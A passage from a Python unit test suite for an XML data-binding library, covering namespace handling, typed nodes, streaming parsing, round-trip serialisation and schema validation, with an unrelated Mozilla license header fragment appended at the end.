        self.failUnlessEqual(node.getAttribute('attr', 'EEE'), None)

        self.failUnlessEqual(node.getAttributeByNamespace('attr'), 'val1')
        self.failUnlessEqual(node.getAttributeByNamespace('attr', 'a'), 'val1')
        # This is the same attribute, we just happen to have two identical
        self.failUnlessEqual(node.getAttributeByNamespace('attr', 'b'), 'val2')
        self.failUnlessEqual(node.getAttributeByNamespace('attr', 'E'), None)

        # Make sure we get the right namespaces albeit dubplicated)
        self.failUnlessEqual(list(node.iterNamespaces()),
            [(None, 'a'), ('nsB', 'b'), ('nsC', 'b')])


        # lxml will notice the re-definition of a namespace
        binder = xmllib.DataBinder()
        self.assertXMLEquals(binder.toXml(node, prettyPrint = False),
            '<root xmlns="a" xmlns:nsB="b" xmlns:nsC="b" nsB:attr="val3" attr="val1"/>')

    def testSlotBased(self):
        class S(xmllib.SlotBasedSerializableObject):
            tag = 'Blah'
            __slots__ = ['attr1', 'child1', 'maybe']

        binder = xmllib.DataBinder()

        node = S()
        node.attr1 = 1
        node.child1 = xmllib.BooleanNode().characters('true')
        node.maybe = xmllib.StringNode().characters('Maybe')

        self.assertXMLEquals(binder.toXml(node, prettyPrint = False),
            '<Blah attr1="1"><bool>true</bool><string>Maybe</string></Blah>')

        node.maybe = {}
        self.failUnlessRaises(xmllib.XmlLibError, binder.toXml, node)

    def testSlotBasedEq(self):
        class WithSlots(xmllib.SlotBasedSerializableObject):
            tag = "something"
            __slots__ = ['foo']

        node1 = WithSlots()
        node2 = WithSlots()

        node1.foo = 'foo'
        node2.foo = 'foo'

        self.assertEquals(node1, node2)

        node1.foo = 'foo'
        node2.foo = 'fo0'

        self.assertEquals(node1 == node2, False)
        self.assertEquals(node1 != node2, True)

    def testUndefinedNamespace(self):
        attrs = {'ns:attr1' : 'val1'}
        self.failUnlessRaises(xmllib.UndefinedNamespaceError,
                              xmllib.BaseNode, attrs)

    def testCreateElementTree(self):
        attrs = {'{a}attr1' : 'val1', 'xmlns' : 'b'}
        ns = {'ns' : 'a'}
        n = xmllib.createElementTree('node', attrs, ns)
        self.assertXMLEquals(etree.tostring(n),
            '<node xmlns:ns="a" ns:attr1="val1" xmlns="b"/>')

        attrs = {'{a}attr1' : 'va11', '{c}attr2' : 'val2'}
        ns = {'nsc' : 'c'}
        n2 = xmllib.createElementTree('{c}subnode', attrs, ns, parent = n)
        self.assertXMLEquals(etree.tostring(n),
            '<node xmlns:ns="a" ns:attr1="val1" xmlns="b">'
              '<nsc:subnode xmlns:nsc="c" ns:attr1="va11" nsc:attr2="val2"/>'
            '</node>')

        n3 = xmllib.createElementTree('{a}subnode', {}, parent = n)
        n3.text = 'node text'
        self.assertXMLEquals(etree.tostring(n),
            '<node xmlns:ns="a" ns:attr1="val1" xmlns="b">'
              '<nsc:subnode xmlns:nsc="c" ns:attr1="va11" nsc:attr2="val2"/>'
              '<ns:subnode>node text</ns:subnode>'
            '</node>')

    def testSplitNamespace(self):
        self.failUnlessEqual(xmllib.splitNamespace('a'), (None, 'a'))
        self.failUnlessEqual(xmllib.splitNamespace('b:a'), ('b', 'a'))

    def testUnsplitNamespace(self):
        self.failUnlessEqual(xmllib.unsplitNamespace('a'), 'a')
        self.failUnlessEqual(xmllib.unsplitNamespace('a', None), 'a')
        self.failUnlessEqual(xmllib.unsplitNamespace('a', 'b'), 'b:a')

    def testGetAbsoluteName(self):
        # No namespace specified
        node = xmllib.BaseNode()
        node.setName('foo')
        self.failUnlessEqual(node.getAbsoluteName(), 'foo')

        # With a default namespace
        node = xmllib.BaseNode(dict(xmlns = "a"))
        node.setName('foo')
        self.failUnlessEqual(node.getAbsoluteName(), '{a}foo')

        # With a namespace
        node = xmllib.BaseNode({'xmlns' : 'b', 'xmlns:ns' : 'a'})
        node.setName('ns:foo')
        self.failUnlessEqual(node.getAbsoluteName(), '{a}foo')
        node.setName('foo')
        self.failUnlessEqual(node.getAbsoluteName(), '{b}foo')

        # With a bad namespace
        self.failUnlessRaises(xmllib.UndefinedNamespaceError,
                              node.setName, 'nosuchns:foo')

    def testIntObj(self):
        node = xmllib.IntegerNode()
        node.characters('3')
        self.assertEquals(node.finalize(), 3)

    def testIntObjInfoLoss(self):
        node = xmllib.IntegerNode()

        self.failUnlessRaises(AttributeError, setattr, node, 'garbage', 'data')

        node.__class__.test = 'foo'
        res = node.finalize()
        self.failIf(hasattr(res.__class__, 'test'))
        self.assertEquals(res, 0)

    def testStringObj(self):
        node = xmllib.StringNode()
        node.characters('foo')
        self.assertEquals(node.finalize(), 'foo')

    def testBooleanNode(self):
        node = xmllib.BooleanNode()
        node.characters('true')
        self.assertEquals(node.finalize(), True)

        node = xmllib.BooleanNode()
        node.characters('False')
        self.assertEquals(node.finalize(), False)

        node = xmllib.BooleanNode()
        node.characters('1')
        self.assertEquals(node.finalize(), True)

        node = xmllib.BooleanNode()
        node.characters('0')
        self.assertEquals(node.finalize(), False)

        self.failUnlessEqual(node.fromString(True), True)
        self.failUnlessEqual(node.fromString(False), False)
        self.failUnlessEqual(node.fromString("tRuE"), True)
        self.failUnlessEqual(node.fromString("1"), True)
        self.failUnlessEqual(node.fromString("abcde"), False)

    def testNullNode(self):
        node = xmllib.NullNode()
        node.characters('anything at all')
        self.assertEquals(node.finalize(), None)

        binder = xmllib.DataBinder()
        self.assertXMLEquals(binder.toXml(node, prettyPrint = False),
                             "<none/>")

    def testCompositeNode(self):
        class CompNode(xmllib.BaseNode):
            _singleChildren = ['integerData', 'stringData']

        node = CompNode()
        child = xmllib.IntegerNode(name = 'integerData')
        child.characters('3')
        node.addChild(child)
        self.assertEquals(node.integerData, 3)

        child = xmllib.StringNode(name = 'stringData')
        child.setName('stringData')
        child.characters('foo')
        node.addChild(child)
        self.assertEquals(node.stringData, 'foo')

        child = xmllib.StringNode(name = 'unknownData')
        child.characters('bar')
        node.addChild(child)
        self.failIf(hasattr(node, 'unknownData'))
        self.failUnlessEqual([ x for x in node.iterChildren() ], ['bar'])

class ContentHandlerTest(BaseTest):
    def testInvalidData(self):
        data = "vadfadfadf"
        binder = xmllib.DataBinder()
        self.failUnlessRaises(xmllib.InvalidXML,
            binder.parseString, data)

    def testToplevelNode(self):
        # Some invalid XML
        data = "vadfadfadf"
        tn = xmllib.ToplevelNode(data)
        self.failUnlessEqual(tn.name, None)

        # Invalid XML (but the sax parser should not notice the lack of a
        # close tag)
        data = '''<?xml version="1.0"?>
<node xmlns="a" xmlns:xsi="b" xsi:schemaLocation="c" xsi:q="q" attr="d">blah'''
        tn = xmllib.ToplevelNode(data)
        self.failUnlessEqual(tn.name, 'node')

        # Valid XML
        data2 = data + "<node>"
        tn = xmllib.ToplevelNode(data2)
        self.failUnlessEqual(tn.name, 'node')
        self.failUnlessEqual(tn.attrs, {'xmlns' : 'a', 'xmlns:xsi' : 'b',
            'xsi:schemaLocation' : 'c', 'attr' : 'd', 'xsi:q' : 'q'})

        self.failUnlessEqual(tn.getAttributesByNamespace('b'),
            {'schemaLocation' : 'c', 'q' : 'q'})
        self.failUnlessEqual(tn.getAttributesByNamespace('a'),
            {'attr' : 'd'})
        self.failUnlessEqual(tn.getAttributesByNamespace('nosuchns'),
            {})



    def testHandlerRegisterType(self):
        hdlr = xmllib.BindingHandler()
        self.assertEquals(hdlr.typeDict, {})
        hdlr.registerType(xmllib.StringNode, 'foo')
        self.assertEquals(hdlr.typeDict, {(None, 'foo'): xmllib.StringNode})

        hdlr = xmllib.BindingHandler()
        hdlr.registerType(xmllib.StringNode, 'foo', namespace = 'ns0')
        self.assertEquals(hdlr.typeDict, {('ns0', 'foo'): xmllib.StringNode})

        hdlr = xmllib.BindingHandler({(None, 'bar'): xmllib.IntegerNode})
        self.assertEquals(hdlr.typeDict, {(None, 'bar'): xmllib.IntegerNode})

    def testStartElement(self):
        hdlr = xmllib.BindingHandler({(None, 'foo'): xmllib.StringNode})

        hdlr.startElement('foo', {})
        self.assertEquals(len(hdlr.stack), 1)
        self.assertEquals(hdlr.stack[0].__class__.__name__ , 'StringNode')
        assert isinstance(hdlr.stack[0], xmllib.StringNode)

        hdlr.startElement('bar', {'attr1': '1'})
        self.assertEquals(len(hdlr.stack), 2)
        self.assertEquals(hdlr.stack[1].__class__.__name__ , 'GenericNode')
        assert isinstance(hdlr.stack[1], xmllib.GenericNode)
        self.assertEquals(hdlr.stack[1].getAttribute('attr1'), '1')

    def testEndElement1(self):
        hdlr = xmllib.BindingHandler()
        node1 = xmllib.BaseNode(name = 'foo')
        node2 = xmllib.BaseNode(name = 'foo')
        hdlr.stack = [node1, node2]
        hdlr.endElement('foo')
        self.assertEquals(hdlr.rootNode, None)
        self.assertEquals(len(hdlr.stack), 1)
        self.assertEquals(hdlr.stack[0], node1)
        self.failIf(hdlr.stack[0] == node2)

        hdlr.endElement('foo')
        self.assertEquals(hdlr.rootNode, node1)
        self.assertEquals(len(hdlr.stack), 0)

    def testEndElement2(self):
        class RecordNode(xmllib.BaseNode):
            def __init__(x, name = None):
                x.called = False
                xmllib.BaseNode.__init__(x, name = name)
            def addChild(x, child):
                assert isinstance(child, xmllib.BaseNode)
                x.called = True
                return xmllib.BaseNode.addChild(x, child)
        hdlr = xmllib.BindingHandler()
        node1 = RecordNode(name = 'foo')
        node2 = xmllib.BaseNode(name = 'foo')
        hdlr.stack = [node1, node2]
        hdlr.endElement('foo')
        self.assertEquals(node1.called, True)

    def testCharacters1(self):
        hdlr = xmllib.BindingHandler()
        node = xmllib.BaseNode()
        hdlr.stack = [node]
        hdlr.characters('foo')

        self.assertEquals(node.getText(), 'foo')

    def testCharacters2(self):
        class RecordNode(xmllib.BaseNode):
            def __init__(x):
                x.called = False
                xmllib.BaseNode.__init__(x)
            def characters(x, ch):
                x.called = True

        hdlr = xmllib.BindingHandler()
        node = RecordNode()
        hdlr.stack = [node]
        hdlr.characters('foo')

        self.assertEquals(node.called, True)

    def testStreaming(self):
        vals = range(5)
        class Root(xmllib.BaseNode):
            pass

        class Pkg(xmllib.BaseNode):
            WillYield = True
            _singleChildren = [ 'val' ]

        class Val(xmllib.IntegerNode):
            pass

        xml = "<root>%s</root>" % ''.join(
            "<pkg><val>%s</val></pkg>" % i for i in vals)

        hdlr = xmllib.StreamingDataBinder()
        hdlr.registerType(Root, name = "root")
        hdlr.registerType(Pkg, name = "pkg")
        hdlr.registerType(Val, name = "val")

        it = hdlr.parseString(xml)
        self.failUnlessEqual([ x.val for x in it ], vals)

        sio = StringIO.StringIO(xml)
        # Same deal with a tiny buffer size, to make sure we're incrementally
        # parsing
        it = hdlr.parseFile(sio)
        it.BUFFER_SIZE = 2
        self.failUnlessEqual(it.next().val, 0)
        self.failUnlessEqual(sio.tell(), 30)

        self.failUnlessEqual(it.next().val, 1)
        self.failUnlessEqual(it.parser.getColumnNumber(), 52)

        self.failUnlessEqual(it.next().val, 2)
        self.failUnlessEqual(it.parser.getColumnNumber(), 75)

        self.failUnlessEqual(it.next().val, 3)
        self.failUnlessEqual(it.parser.getColumnNumber(), 98)

class BinderTest(BaseTest):
    def testBinderRegisterType(self):
        binder = xmllib.DataBinder()
        binder.registerType(xmllib.StringNode, 'foo')
        self.assertEquals(binder.contentHandler.typeDict,
                {(None, 'foo'): xmllib.StringNode})

        binder = xmllib.DataBinder({(None, 'bar'): xmllib.IntegerNode})
        self.assertEquals(binder.contentHandler.typeDict,
                {(None, 'bar'): xmllib.IntegerNode})

    def testParseString(self):
        class ComplexType(xmllib.BaseNode):
            def addChild(slf, childNode):
                if childNode.getName() == 'foo':
                    slf.foo = childNode.finalize()
                elif childNode.getName() == 'bar':
                    slf.bar = childNode.finalize()

        binder = xmllib.DataBinder()
        binder.registerType(xmllib.IntegerNode, 'foo')
        binder.registerType(xmllib.StringNode, 'bar')
        binder.registerType(ComplexType, 'baz')

        data = '<baz><foo>3</foo><bar>test</bar></baz>'
        obj = binder.parseString(data)

        self.assertEquals(obj.foo, 3)
        self.assertEquals(obj.bar, 'test')
        self.assertEquals(obj.getName(), 'baz')

    def testRoundTripGenericParsing(self):
        binder = xmllib.DataBinder()
        data = '<baz><foo>3</foo><bar>test</bar></baz>'
        obj = binder.parseString(data)

        data2 = binder.toXml(obj, prettyPrint = False)
        self.assertXMLEquals(data, data2)

    def testParseFile(self):
        class ComplexType(xmllib.BaseNode):
            _singleChildren = ['foo', 'bar']

        binder = xmllib.DataBinder()
        binder.registerType(xmllib.BooleanNode, 'foo')
        binder.registerType(xmllib.NullNode, 'bar')
        binder.registerType(ComplexType, 'baz')

        data = '<baz><foo>TRUE</foo><bar>test</bar></baz>'
        fd, tmpFile = tempfile.mkstemp()
        try:
            os.close(fd)
            f = open(tmpFile, 'w')
            f.write(data)
            f.close()
            obj = binder.parseFile(tmpFile)
        finally:
            os.unlink(tmpFile)

        self.assertEquals(obj.foo, True)
        self.assertEquals(obj.bar, None)
        self.assertEquals(obj.getName(), 'baz')

    def testIterChildren(self):
        binder = xmllib.DataBinder()
        class Foo(xmllib.BaseNode):
            def iterChildren(self):
                if hasattr(self, 'bar'):
                    yield self.bar
                if hasattr(self, 'foo'):
                    yield xmllib.StringNode(name = 'foo').characters(
                        xmllib.BooleanNode.toString(self.foo))
                if hasattr(self, 'test'):
                    yield xmllib.StringNode(name = 'test').characters(self.test)
        foo = Foo(name = 'Foo')
        foo.foo = True
        foo.bar = Foo(name = 'bar')
        foo.bar.test = '123'
        data = binder.toXml(foo)
        self.assertXMLEquals(data, "<?xml version='1.0' encoding='UTF-8'?>"
                '\n<Foo>\n  <bar>\n'
                '    <test>123</test>\n  </bar>\n  <foo>true</foo>\n</Foo>')

        obj = binder.parseString(data)
        data2 = binder.toXml(obj)
        self.assertXMLEquals(data, data2)

    def testIterChildren2(self):
        binder = xmllib.DataBinder()
        binder.registerType(xmllib.BooleanNode, 'foo')

        class Foo(xmllib.BaseNode):
            def iterChildren(self):
                if hasattr(self, 'bar'):
                    yield self.bar
                if hasattr(self, 'foo'):
                    yield xmllib.StringNode(name = 'foo').characters(
                        xmllib.BooleanNode.toString(self.foo))
                if hasattr(self, 'test'):
                    yield xmllib.StringNode(name = 'test').characters(self.test)

        foo = Foo(name = 'Foo')
        foo.foo = True
        foo.bar = Foo(name = 'bar')
        foo.bar.test = '123'

        data = binder.toXml(foo)
        self.assertXMLEquals(data,
                '\n'.join((
                    '<?xml version="1.0" encoding="UTF-8"?>',
                    '<Foo>',
                    '  <bar>',
                    '    <test>123</test>',
                    '  </bar>',
                    '  <foo>true</foo>',
                    '</Foo>')))

    def testToXmlInt(self):
        binder = xmllib.DataBinder()
        intObj = xmllib.IntegerNode(name = 'foo').characters('3')
        self.assertXMLEquals(binder.toXml(intObj, prettyPrint = False),
                                          '<foo>3</foo>')
        intObj = xmllib.IntegerNode().characters('3')
        self.assertXMLEquals(binder.toXml(intObj, prettyPrint = False),
                                          '<int>3</int>')

    def testToXmlBool(self):
        binder = xmllib.DataBinder()
        node = xmllib.BooleanNode(name = 'foo').characters('1')
        self.assertXMLEquals(binder.toXml(node, prettyPrint = False),
                             "<foo>true</foo>")
        node = xmllib.BooleanNode(name = 'foo').characters('tRue')
        self.assertXMLEquals(binder.toXml(node, prettyPrint = False),
                             "<foo>true</foo>")
        node = xmllib.BooleanNode(name = 'foo').characters('False')
        self.assertXMLEquals(binder.toXml(node, prettyPrint = False),
                             "<foo>false</foo>")

        node = xmllib.BooleanNode().characters('tRue')
        self.assertXMLEquals(binder.toXml(node, prettyPrint = False),
                             "<bool>true</bool>")

    def testToXmlList2(self):
        binder = xmllib.DataBinder()
        class ListObj(xmllib.SerializableList):
            tag = "toplevel"

        class Node1(xmllib.SlotBasedSerializableObject):
            __slots__ = [ 'attr1', 'attr2', 'attr3', 'children' ]
            tag = "node1"

        l1 = ListObj()
        n1 = Node1()
        l1.append(n1)

        n1.attr1 = "attrVal11"
        n1.attr2 = 12
        n1.attr3 = None
        n1.children = xmllib.StringNode(name = "child11").characters("text 11")

        n2 = Node1()
        l1.append(n2)

        n2.attr1 = 21
        n2.attr2 = "attrVal21"
        n2.attr3 = True
        # Add a list of elements as children of n2
        l2 = ListObj()
        l2.tag = "list2"
        l2.append(xmllib.StringNode(name = "child21").characters("text 21"))
        l2.append(xmllib.StringNode(name = "child31").characters("text 31"))

        n2.children = l2

        xmlData = binder.toXml(l1)
        self.assertXMLEquals(xmlData, """
<?xml version='1.0' encoding='UTF-8'?>
<toplevel>
  <node1 attr2="12" attr1="attrVal11">
    <child11>text 11</child11>
  </node1>
  <node1 attr2="attrVal21" attr3="true" attr1="21">
    <list2>
      <child21>text 21</child21>
      <child31>text 31</child31>
    </list2>
  </node1>
</toplevel>
""")

    def testToXmlUnicode(self):

        class Foo(xmllib.BaseNode):
            pass

        binder = xmllib.DataBinder()
        binder.registerType('foo', Foo)

        foo = Foo({u'birth-place' :  u'K\u00f6ln'}, name = 'Foo')
        marriage = xmllib.BaseNode(name = 'marriage')
        marriage.characters(u'Troms\xf8')
        foo.addChild(marriage)

        self.assertXMLEquals(binder.toXml(foo, prettyPrint = False),
            '<Foo birth-place="%s"><marriage>%s</marriage></Foo>' %
                ('K&#xF6;ln', 'Troms\xc3\xb8'))

        targetData = '<?xml version="1.0" encoding="UTF-8"?>\n' \
            '<Foo birth-place="K&#xF6;ln">\n  <marriage>Troms\xc3\xb8</marriage>\n</Foo>'

        self.assertXMLEquals(binder.toXml(foo), targetData)
        # Make sure we can still load the string
        obj = binder.parseString(binder.toXml(foo))

    def testUnkNodeVsStringNode(self):
        data = "<build><foo>123</foo></build>"
        binder = xmllib.DataBinder()
        obj = binder.parseString(data)
        assert isinstance(obj.getChildren('foo')[0], xmllib.BaseNode)
        self.assertEquals(obj.getChildren('foo')[0].getText(), '123')

        binder.registerType(xmllib.StringNode, 'foo')
        obj = binder.parseString(data)
        self.assertEquals([ x for x in obj.iterChildren() ],
                          ['123'])

    def testAttributesVsTags(self):
        class Foo(object):
            test = 42

            def getElementTree(slf, parent = None):
                elem = etree.Element('Foo', dict(test=str(slf.test)))
                if parent is not None:
                    parent.append(elem)
                return elem

        binder = xmllib.DataBinder()
        foo = Foo()
        data = binder.toXml(foo, prettyPrint = False)
        self.assertXMLEquals(data, '<Foo test="42"/>')

        foo.test = 14
        data2 = binder.toXml(foo, prettyPrint = False)
        self.assertXMLEquals(data2, '<Foo test="14"/>')

        class FooNode(xmllib.BaseNode):
            def addChild(slf, child):
                if child.getName() == 'test':
                    slf.test = child.finalize()

            def finalize(slf):
                t = slf.getAttribute('test')
                if t is not None:
                    slf.test = int(t)
                return slf

        binder = xmllib.DataBinder()
        binder.registerType(xmllib.IntegerNode, 'test')
        binder.registerType(FooNode, 'Foo')
        obj = binder.parseString(data2)

        # test that conflicting attributes and tags were preserved
        self.assertEquals(obj.test, 14)

    def testChildOrder(self):
        binder = xmllib.DataBinder()
        ordering = ['foo']
        items = [ xmllib.BaseNode(name = x) for x in ['foo', 'bar']]

        # prove that items in the ordering are listed first
        self.assertEquals(xmllib.orderItems(items, ordering), items)
        self.assertEquals(xmllib.orderItems(reversed(items), ordering), items)
        ordering = ['foo', 'bar']
        items = [ xmllib.BaseNode(name = x)
            for x in ['biff', 'baz', 'bar', 'foo'] ]
        ref = [items[3], items[2], items[1], items[0]]

        # prove ordering of listed items are by list. ordering of other
        # items is lexigraphical
        self.assertEquals(xmllib.orderItems(items, ordering), ref)

        # prove that it's ok to have items missing from ordering
        ordering = ['foo', 'bar', 'unused']
        items.append(xmllib.BaseNode(name = 'another'))
        ref.insert(2, items[-1])
        self.assertEquals(xmllib.orderItems(items, ordering), ref)


class RoundTripTest(BaseTest):
    def testXml2Obj2Xml(self):
        origData = "<?xml version='1.0' encoding='UTF-8'?>\n<build>\n  <foo>123</foo>\n  <foo>\xc3\xb6</foo>\n</build>"
        binder = xmllib.DataBinder()
        binder.registerType('foo', xmllib.StringNode)
        obj = binder.parseString(origData)
        data = binder.toXml(obj)
        self.assertXMLEquals(origData, data)

    def testXmlAttrs(self):
        origData = """<?xml version='1.0' encoding='UTF-8'?>\n<build data="1">\n  <foo>123</foo>\n</build>"""
        binder = xmllib.DataBinder()
        obj = binder.parseString(origData)
        data = binder.toXml(obj)
        self.assertXMLEquals(origData, data)

    def testXmlAttrs2(self):
        origData = """<?xml version='1.0' encoding='UTF-8'?>\n<build data="1">\n  <foo>123</foo>\n</build>"""
        refData = '<build data="1"><foo>123</foo></build>'
        binder = xmllib.DataBinder()
        obj = binder.parseString(origData)
        data = binder.toXml(obj)
        self.assertXMLEquals(origData, data)

    def testRoundTripDefault(self):
        binder = xmllib.DataBinder()
        data = '\n'.join(('<?xml version="1.0" encoding="UTF-8"?>',
            '<foo>',
            '  <baz>More text</baz>',
            '  <bar>This is some text</bar>',
            '</foo>'))

        data2 = '\n'.join(('<?xml version="1.0" encoding="UTF-8"?>',
            '<foo>',
            '  <bar>This is some text</bar>',
            '  <baz>More text</baz>',
            '</foo>'))

        obj = binder.parseString(data)
        newData = binder.toXml(obj)
        # this child node ordering is influenced by the order of the nodes
        # in the original xml blob
        self.assertXMLEquals(newData, data)

        class Foo(xmllib.BaseNode):
            name = 'foo'
            _childOrder = ['baz', 'bar']

        binder = xmllib.DataBinder()
        binder.registerType(Foo)
        obj = binder.parseString(data2)

        newData = binder.toXml(obj)
        self.assertXMLEquals(newData, data)

    def testNamespaceSupport(self):
        binder = xmllib.DataBinder()
        data = '\n'.join(('<?xml version="1.0" encoding="UTF-8"?>',
            '<gah:root-node xmlns="http://example.com"'
                ' xmlns:gah="http://exmaple.com/gah">',
            '  <gah:baz>More text</gah:baz>',
            '</gah:root-node>'))

        obj = binder.parseString(data)
        ndata = binder.toXml(obj)
        self.assertXMLEquals(data, ndata)

    def testXmlBaseNamespaceSupport(self):
        binder = xmllib.DataBinder()
        data = '\n'.join(('<?xml version="1.0" encoding="UTF-8"?>',
            '<gah:root-node xmlns="http://example.com"'
                ' xmlns:gah="http://exmaple.com/gah" xml:base="media://foo">',
            '  <gah:baz>More text</gah:baz>',
            '</gah:root-node>'))

        obj = binder.parseString(data)
        ndata = binder.toXml(obj)
        self.assertXMLEquals(data, ndata)
        self.failUnlessEqual(obj.getAttributeByNamespace('base', namespace='http://www.w3.org/XML/1998/namespace'),
            'media://foo')

    def testDispatcherRegisterClasses(self):
        class Coll1:
            class BaseType(object):
                @classmethod
                def getTag(kls):
                    return kls.tag

                def __init__(self, node):
                    self.node = node

            class ClassA(BaseType):
                tag = 'A'

            class ClassB(BaseType):
                tag = 'B'

        disp = xmllib.NodeDispatcher()
        disp.registerClasses(Coll1,Coll1.BaseType)
        self.failUnlessEqual(disp._dispatcher,
            {'{}A' : Coll1.ClassA, '{}B' : Coll1.ClassB})

        # With a default namespace
        disp = xmllib.NodeDispatcher({None : 'nspaceA'})
        disp.registerClasses(Coll1,Coll1.BaseType)
        self.failUnlessEqual(disp._dispatcher,
            {'{nspaceA}A' : Coll1.ClassA, '{nspaceA}B' : Coll1.ClassB})

        # One of the classes is in a different namespace
        Coll1.ClassB.tag = 'nsB:B'

        nsMap = {None : 'nspaceA', 'nsB' : 'nspaceB'}
        disp = xmllib.NodeDispatcher(nsMap = nsMap)
        disp.registerClasses(Coll1,Coll1.BaseType)
        self.failUnlessEqual(disp._dispatcher,
            {'{nspaceA}A' : Coll1.ClassA, '{nspaceB}B' : Coll1.ClassB})

        # Test that dispatching works
        n1 = xmllib.BaseNode(nsMap = nsMap, name = 'A')
        c1 = disp.dispatch(n1)
        self.failUnlessEqual(c1.__class__, Coll1.ClassA)

        n2 = xmllib.BaseNode(nsMap = nsMap, name = 'nsB:B')
        c2 = disp.dispatch(n2)
        self.failUnlessEqual(c2.__class__, Coll1.ClassB)

        # Now, an example of a class that we register directly
        class ClassC(object):
            def __init__(self, node):
                self.node = node

        disp.registerType(ClassC, name = 'C')

        n3 = xmllib.BaseNode(nsMap = nsMap, name = 'C')
        c3 = disp.dispatch(n3)
        self.failUnlessEqual(c3.__class__, ClassC)

        # And another one, now with namespace

        disp.registerType(ClassC, name = 'D', namespace = 'nsB')

        n4 = xmllib.BaseNode(nsMap = nsMap, name = 'nsB:D')
        c4 = disp.dispatch(n4)
        self.failUnlessEqual(c4.__class__, ClassC)
        self.failUnlessEqual(c4.node, n4)

        # a class we register without a name and with no getTag - should be
        # ignored
        class ClassE(object):
            def __init__(self, node):
                self.node = node

        disp.registerType(ClassE)
        self.failUnlessEqual(disp._dispatcher,
            {'{nspaceA}A' : Coll1.ClassA, '{nspaceB}B' : Coll1.ClassB,
             '{nspaceA}C' : ClassC, '{nspaceB}D' : ClassC})

        # And a node we don't handle
        n5 = xmllib.BaseNode(nsMap = nsMap, name = 'X')
        c5 = disp.dispatch(n5)
        self.failUnlessEqual(c5, None)

class SchemaValidationTest(BaseTest):
    def testGetSchemaLocationFromStream(self):
        # Exceptions first
        stream = StringIO.StringIO('No XML data')
        e = self.failUnlessRaises(xmllib.InvalidXML,
            xmllib.DataBinder.getSchemaLocationsFromStream, stream)
        self.failUnlessEqual(str(e), "Possibly malformed XML")

        stream = StringIO.StringIO('<node xmlns:xsi="what?" '
            'xsi:schemaLocation="blah1 blah2"/>')

        e = self.failUnlessRaises(xmllib.UnknownSchemaError,
            xmllib.DataBinder.getSchemaLocationsFromStream, stream)
        self.failUnlessEqual(str(e), "Schema location not specified in XML stream")

        stream = StringIO.StringIO('<node '
            'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>')

        e = self.failUnlessRaises(xmllib.UnknownSchemaError,
            xmllib.DataBinder.getSchemaLocationsFromStream, stream)
        self.failUnlessEqual(str(e), "Schema location not specified in XML stream")

        stream = StringIO.StringIO('BAD DATA <node '
            'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xsi:schemaLocation = "blah1 blah2"/>')
        stream.seek(9)
        self.failUnlessEqual(xmllib.DataBinder.getSchemaLocationsFromStream(stream),
            ["blah1", "blah2"])

        self.failUnlessEqual(stream.tell(), 9)

    def testChooseSchemaFile(self):
        schemaFiles = ["sf1", "sf2", "sf4", "sf5"]

        e = self.failUnlessRaises(xmllib.UnknownSchemaError,
            xmllib.DataBinder.chooseSchemaFile, schemaFiles, None)
        self.failUnlessEqual(str(e), "Schema directory not specified")

        tmpdir = tempfile.mkdtemp()

        e = self.failUnlessRaises(xmllib.UnknownSchemaError,
            xmllib.DataBinder.chooseSchemaFile, schemaFiles, tmpdir)
        self.failUnlessEqual(str(e),
            "No applicable schema found in directory `%s'" % tmpdir)

        # To make sure directory ordering doesn't matter, mock out listdir
        origListdir = os.listdir
        listdir = lambda x: ["sf4", "sf3", "sf2"]
        try:
            os.listdir = listdir
            file(os.path.join(tmpdir, "sf2"), "w")
            file(os.path.join(tmpdir, "sf3"), "w")
            file(os.path.join(tmpdir, "sf4"), "w")

            ret = xmllib.DataBinder.chooseSchemaFile(schemaFiles, tmpdir)
            self.failUnlessEqual(ret, os.path.join(tmpdir, "sf2"))
        finally:
            os.listdir = origListdir
            shutil.rmtree(tmpdir, ignore_errors = True)

        e = self.failUnlessRaises(xmllib.UnknownSchemaError,
            xmllib.DataBinder.chooseSchemaFile, schemaFiles, tmpdir)
        self.failUnlessEqual(str(e), "Schema directory `%s' not found" %
            tmpdir)

    def testClassLevelValidate(self):
        tmpdir = tempfile.mkdtemp()
        try:
            file(os.path.join(tmpdir, "schema.xsd"), "w+").write(xmlSchema1)
            stream = StringIO.StringIO(xmlData1)
            xmllib.DataBinder.validate(stream, tmpdir)

            # xmlData2 should fail
            stream = StringIO.StringIO(xmlData2)
            e = self.failUnlessRaises(xmllib.SchemaValidationError,
                xmllib.DataBinder.validate, stream, tmpdir)
            self.failUnlessEqual(str(e), schemaError2)
        finally:
            shutil.rmtree(tmpdir, ignore_errors = True)

    def testParseFileValidate(self):
        tmpdir = tempfile.mkdtemp()
        stream = StringIO.StringIO(xmlData1)
        try:
            file(os.path.join(tmpdir, "schema.xsd"), "w+").write(xmlSchema1)
            binder = xmllib.DataBinder()
            binder.parseFile(stream, validate = True, schemaDir = tmpdir)

            binder.parseString(xmlData1, validate = True, schemaDir = tmpdir)

            # Try to pass None as a schema directory - should fail
            stream.seek(0)
            e = self.failUnlessRaises(xmllib.UnknownSchemaError,
                binder.parseFile, stream, validate = True, schemaDir = None)
            self.failUnlessEqual(str(e), "Schema directory not specified")
        finally:
            shutil.rmtree(tmpdir, ignore_errors = True)

xmlSchema1 = """\
<?xml version="1.0" encoding="UTF-8"?>
<xsd:schema targetNamespace="http://my.example.com"
        elementFormDefault="qualified"
        attributeFormDefault="unqualified"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://www.w3.org/2001/XMLSchema.xsd"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns="http://www.rpath.com/permanent/rpd-1.0.xsd">

    <xsd:element name="f">
        <xsd:complexType>
            <xsd:sequence>
                <xsd:element name="c1" type="xsd:string" />
                <xsd:element name="c2" type="xsd:string" />
            </xsd:sequence>
        </xsd:complexType>
    </xsd:element>
</xsd:schema>"""

xmlData1 = """\
<?xml version="1.0" encoding="UTF-8"?>
<f xmlns="http://my.example.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="schema.xsd">
  <c1/>
  <c2/>
</f>"""

xmlData2 = xmlData1.replace("<c1/>", "")

schemaError2 = (
    "<string>:4:0:ERROR:SCHEMASV:SCHEMAV_ELEMENT_CONTENT: "
    "Element '{http://my.example.com}c2': This element is not expected. "
    "Expected is ( {http://my.example.com}c1 )."
)

######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
